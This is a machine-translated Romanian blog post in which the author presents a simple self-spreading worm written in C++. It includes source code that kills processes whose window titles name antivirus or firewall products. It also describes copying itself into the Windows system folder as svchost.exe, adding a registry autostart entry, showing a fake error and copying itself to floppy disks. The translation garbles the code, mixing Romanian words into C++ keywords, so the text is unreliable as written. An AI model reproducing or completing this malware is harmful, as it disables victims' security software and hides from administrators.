Simplu virus rezident virus pe c »blog de învățare

Un vierme rezident de memorie simplu în C ++

Virusul, ca atare, este greu de numit, deoarece nu face nimic altceva decât copierea pe dischete. Dar lucrarea a fost făcută pentru glorie. Să mergem.

Când controlul a fost primit, fișierul a fost căutat pentru toate ferestrele active în care anteturile conținând cuvintele cheie:
Norton, AVP, Anti, Vir, McAfee, anti, virus, firewall,

Și i-am închis. Nu a fost dificil. Și, în cea mai mare parte, la nimic, deoarece nu a fost detectat ca un virus. Dar pentru a verifica dacă a fost posibil a fost extrem de interesant.

BOOL BadWindow (LPSTR strWindow)
BOOL res = FALSE;
pentru (int i = 0; i dacă (strstr (strWindow, bad_windows_list [i])! = 0) res = TRUE;
return res;
>
BOOL CALLBACK WndEnumProcMine (HWND hwnd1, lung l1)
LPTSTR str1 = noul caracter [255];
GetWindowText (hwnd1, str1,255);
dacă (BadWindow (str1))
DWORD dwProcessId;
GetWindowThreadProcessId (hwnd1, dwProcessId);
dacă (dwProcessId! = GetCurrentProcessId ())
HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, dwProcessId);
TerminateProces (hProces, 0);
CloseHandle (hProcess);
>
>
ștergeți str1;
returnează TRUE;
>
void EnumProcessesOther ()
LPARAM c = 0;
EnumWindows ((WNDENUMPROC) WndEnumProcMine, c);
>

Următoarele sale acțiuni sunt complet previzibile.

Este copiat în ferestrele cu dosare de sistem sub numele svchost.exe și lasă curajul său în registrul de sistem, pentru a începe la repornire.

int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR pCmdLine, int nCmdShow)

char myname [1024], windir [1024];
HKEY hKey;
SetErrorMode (SEM_NOGPFAULTERRORBOX);
PeekMessage (NULL, NULL, NULL, NULL, NULL);

GetModuleFileName (hInstance, numele meu, sizeof (myname));
GetWindowsDirectory (windir, sizeof (windir));

Afișează un mesaj de eroare fals. După repornire, se blochează în memorie și la fiecare 30.000 de milisecunde este scrisă pe o dischetă sub numele diskinfo.exe. Un virus surprinzător de simplu, nu-i așa? Nici un rău, doar răspândirea. Dar cheia de registry non-standard din registry și numele nefericit al fișierelor svchost.exe au introdus chiar și sys / admini cu experiență într-o stupoare. Se pare că nu există procese inutile, dar este. A fost ușor de lipit.